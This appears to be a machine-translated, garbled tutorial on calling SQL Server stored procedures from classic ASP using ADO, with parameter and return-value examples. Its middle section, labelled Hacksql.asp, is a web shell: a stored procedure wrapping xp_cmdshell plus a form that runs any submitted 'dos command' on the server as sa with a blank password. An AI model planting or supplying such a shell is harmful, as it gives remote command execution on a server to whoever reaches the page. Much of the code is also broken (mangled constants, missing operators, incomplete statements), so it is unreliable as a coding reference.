Stored procedures in ASP

1, call the stored procedure without parameters

<%

Set conn = server.createObject ("adoDb.connection")

SET cmd = server.createObject ("adodb.command")

StrConn = "DSN = PUBS; UID = SA; PWD"

Conn.open straconn

Set cmd.activeConnection = conn

cmd.commandtext = "{call nono}"

'set RS = cmc.exe or cmd.execute

SET RS = cmd.execute ()

%>

2, a stored procedure for an input parameter

<%

Set conn = server.createObject ("adoDb.connection")

SET cmd = server.createObject ("adodb.command")

StrConn = "DSN = PUBS; UID = SA; PWD"

Conn.open straconn

Set cmd.activeConnection = conn

cmd.commandtext = "{CALL OneInput (?)}"

cmd.parameters.Append Cmd.createParameter ("@ aaa", adINteger, adpaaminput)

CMD ("@ aaa") = 100

cmd.execute ()

%>

3, an input parameter and an output parameter

<%

Set conn = server.createObject ("adoDb.connection")

SET cmd = server.createObject ("adodb.command")

StrConn = "DSN = PUBS; UID = SA; PWD"

Conn.open straconn

Set cmd.activeConnection = conn

cmd.commandtext = "{CALL Oneinout (?,?)}"

cmd.parameters.Append Cmd.createParameter ("@ aaa", adINteger, adpaaminput)

CMD ("@ aaa") = 10

cmd.parameters.Append Cmd.createParameter ("@ BBB", Adinteger, Adparamoutput)

cmd.execute ()

BBB = cmd ("@ BBB")

%>

4, an input parameter, an output parameter, and a return value

<%

Set conn = server.createObject ("adoDb.connection")

SET cmd = server.createObject ("adodb.command")

StrConn = "DSN = PUBS; UID = SA; PWD"

Conn.open straconn

Set cmd.activeConnection = conn

cmd.commandtext = "{? = call onereturn (?,?)}" cmd.parameters.Append cmd.createParameter ("@ return_value", Adinteger, AdParamReturnValue)

cmd.parameters.Append Cmd.createParameter ("@ aaa", adINteger, adpaaminput)

CMD ("@ aaa") = 10

cmd.parameters.Append Cmd.createParameter ("@ BBB", Adinteger, Adparamoutput)

cmd.execute ()

BBB = cmd ("@ BBB")

RRR = CMD ("@ return_value")

%>

-------------------------------------------------- -------------

1. First build a stored procedure in the database you can access in SQL, such as: DDY

as follows:

Create Procedure DDY

@cmd varchar (50)

AS

Exec master..xp_cmdshell @cmd

2, the ASP program is as follows: (Hacksql.asp)

<%

CMD = Trim (Request.form ("cmd")))

IF cmd <> "" "

Work ()

Else

show ()

END IF

Function Work ()

Set conn = server.createObject ("adoDb.connection")

SET RS = Server.createObject ("AdoDb.Recordset")

Conn.open "XX", "SA", ""

SQL = "EXEC DDY '" & CMD & "'"

RS.Open SQL, CONN

IF not r.

Do While Not Rs.eof

Response.write "

" & HTMLENCODE2 (TRIM (RS (0))) & ""

rs.movenext
loop
Else
Response.write "no"
END IF
IF = 1 Then Rs.close
SET RS = Nothing
Conn.close
Set conn = Nothing
END FUNCTION
Function show ()
%>

Please enter the dos command: 


<%
END FUNCTION
Function HTMLENCODE2 (STR) -------- Translation function (in order to display
Dim Result
DIM LIF Isnull (STR) THEN
htmlencode2 = "" "
EXIT FUNCTION
END IF
L = LEN (STR)
Result = ""
DIM I
For i = 1 to L
SELECT CASE MID (STR, I, 1)
Case "<"
Result = result   "<"
Case ">"
Result = result   ">"
Case chr (34)
Result = result   "" ""
Case "&"
Result = Result   "&"
Case chr (13)
Result = result   "
"
Case chr (9)
Result = result   ""
Case "'"
Result = result   "'"
Case chr (32)
Result = result   ""
IF i   1 <= l and i-1> 0 THEN
IF MID (STR, I   1, 1) = CHR (32) OR MID (STR, I   1, 1) = CHR (9) or MID (STR, I-1, 1) = CHR (32) or MID (STR, I-1, 1) = CHR (9) THEN
Result = result   ""
Else
Result = result   ""
END IF
Else
Result = result   ""
END IF
Case Else
Result = Result   MID (STR, I, 1)
End SELECT
NEXT
HTMLENCODE2 = Result
END FUNCTION
%>
-------------------------------------------------- -------------
The use stored procedures in the ASP are as follows:
Set objrs_emp = server.createObject ("adoDb.recordset")
Set objcom = Server.createObject ("adodb.command")
Objcom.activeConnection = Objconn
Objcom.commandType = & H0004
Const adcmdstoredProc = & H0004
Objcom.commandtimeout = 15
Objcom.prepared = TRUE
Const adinteger = 3
Const advarchar = 200
Const adbstr = 8
Const adchar = 129
Const adlongvarchar = 201
Const Adwchar = 130
Const advarwchar = 202
Const Adlongvarwchar = 203
Const adbinary = 128
Const Advarbinary = 204const Adlongvarbinary = 205
Const adparamunknow = & h0000
Const adparaminput = & h0001
Const adparamoutput = & h0002
Const adparaminputOutput = & H0003
Const adparamreturnvalue = & h0004
Objcom.commandtext = "Store Procedure Name"
Objcom.parameters.Append objcom.createParameter ("@ Empid", 129, & H0001, 10, Empid)
Objcom.parameters.Append objcom.createParameter ("@ Password", 129, & H0001, 10, Password)
Objcom.parameters.Append objcom.createParameter ("@ RET", 3, & H0001,, 1)
Set objrs_emp = objcom.execute